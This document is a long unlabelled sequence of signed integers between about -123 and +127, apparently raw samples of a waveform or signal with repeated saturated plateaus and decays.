+-101 +-92 +-84 +-77 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-36 +-33 +-30 +-27 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +6 +8 +9 +9 +10 +10 +10 +10 +10 +11 +11 +11 +12 +12 +12 +11 +12 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +15 +13 +14 +14 +14 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +102 +97 +90 +85 +79 +74 +70 +65 +61 +58 +54 +51 +47 +45 +42 +41 +38 +36 +34 +33 +31 +31 +29 +28 +25 +25 +23 +21 +20 +19 +18 +18 +17 +16 +16 +16 +15 +15 +15 +15 +14 +14 +14 +14 +12 +12 +12 +12 +11 +11 +11 +11 +10 +11 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-79 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-37 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-7 +-4 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +8 +6 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-100 +-91 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-44 +-39 +-34 +-31 +-27 +-24 +-21 +-19 +-17 +-15 +-13 +27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-74 +-68 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +38 +37 +34 +32 +30 +29 +27 +26 +24 +24 +22 +21 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +15 +14 +14 +13 +13 +13 +12 +11 +12 +11 +11 +11 +11 +11 +11 +10 +11 +10 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +10 +10 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +10 +9 +10 +9 +9 +8 +8 +8 +8 +8 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +7 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +9 +9 +8 +8 +8 +10 +10 +11 +11 +11 +10 +10 +-69 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-101 +-94 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-45 +-40 +-36 +-32 +-29 +-26 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-19 +-17 +-15 +-12 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +12 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +15 +15 +14 +14 +14 +14 +14 +13 +14 +15 +15 +14 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +16 +15 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +15 +15 +16 +15 +15 +14 +15 +15 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-105 +-97 +-89 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +96 +90 +84 +78 +74 +69 +66 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-78 +-71 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-23 +-21 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-96 +-88 +-82 +-75 +-68 +-62 +-58 +-52 +-47 +-42 +-38 +-35 +-31 +-28 +-27 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-4 +-3 +-2 +0 +2 +2 +2 +4 +5 +5 +5 +6 +7 +8 +8 +8 +9 +10 +10 +11 +10 +10 +10 +11 +11 +12 +12 +12 +12 +13 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +15 +15 +14 +13 +14 +15 +14 +14 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +55 +51 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +40 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +95 +89 +84 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +43 +41 +39 +37 +34 +32 +30 +29 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-67 +-60 +-54 +-48 +-43 +-38 +-35 +-32 +-29 +-26 +-24 +-21 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-5 +-4 +-2 +0 +0 +1 +2 +3 +4 +5 +6 +6 +6 +6 +7 +8 +9 +9 +10 +10 +10 +10 +11 +11 +12 +12 +11 +11 +12 +11 +11 +12 +13 +13 +13 +14 +14 +13 +13 +14 +14 +13 +14 +14 +14 +12 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +89 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +46 +42 +40 +38 +36 +34 +32 +31 +29 +27 +26 +25 +23 +22 +22 +21 +20 +19 +18 +18 +18 +16 +16 +16 +16 +16 +16 +15 +14 +14 +13 +12 +12 +12 +11 +11 +11 +11 +11 +10 +11 +11 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-122 +-111 +-102 +-94 +-86 +-79 +-72 +-68 +-62 +-56 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-25 +-21 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-60 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-18 +-15 +-12 +-10 +-9 +-9 +-7 +-4 +-2 +0 +2 +1 +2 +3 +3 +4 +6 +6 +6 +6 +7 +6 +7 +8 +10 +10 +10 +11 +12 +12 +12 +12 +12 +12 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-17 +-14 +-13 +-12 +-9 +-8 +-7 +-5 +-3 +-1 +0 +0 +2 +2 +4 +4 +5 +6 +7 +7 +7 +6 +8 +8 +9 +9 +11 +10 +10 +10 +11 +11 +11 +11 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +112 +104 +98 +91 +84 +78 +74 +68 +64 +60 +57 +53 +50 +48 +46 +43 +41 +38 +36 +34 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-100 +-92 +-84 +-77 +-72 +-67 +-60 +-55 +-49 +-45 +-40 +-36 +-32 +-30 +-27 +-23 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +103 +97 +85 +79 +75 +70 +67 +62 +58 +54 +52 +49 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-49 +-44 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-11 +-10 +-7 +-4 +-3 +-2 +-1 +1 +2 +3 +3 +4 +5 +6 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +12 +12 +12 +12 +11 +12 +12 +12 +13 +14 +13 +13 +12 +13 +13 +14 +13 +14 +14 +13 +12 +13 +14 +14 +14 +15 +15 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-99 +-91 +-83 +-75 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-36 +-32 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-8 +-7 +-5 +-2 +-2 +0 +1 +2 +2 +3 +4 +6 +6 +6 +6 +7 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +10 +11 +12 +13 +12 +12 +12 +12 +13 +13 +14 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +15 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +15 +15 +15 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +89 +84 +79 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +95 +88 +83 +78 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +27 +25 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +40 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +58 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +103 +97 +91 +86 +80 +74 +69 +65 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +95 +88 +83 +77 +73 +67 +64 +60 +57 +53 +49 +47 +45 +42 +39 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-77 +-71 +-65 +-60 +-55 +-49 +-44 +-39 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-10 +-8 +-5 +-3 +-2 +-1 +0 +1 +1 +3 +3 +4 +4 +6 +5 +6 +6 +7 +7 +9 +10 +10 +10 +10 +10 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +13 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +84 +78 +74 +69 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +23 +23 +22 +20 +20 +19 +19 +17 +17 +17 +16 +15 +15 +15 +15 +13 +13 +13 +13 +13 +14 +13 +12 +11 +12 +11 +11 +11 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-49 +-44 +-40 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 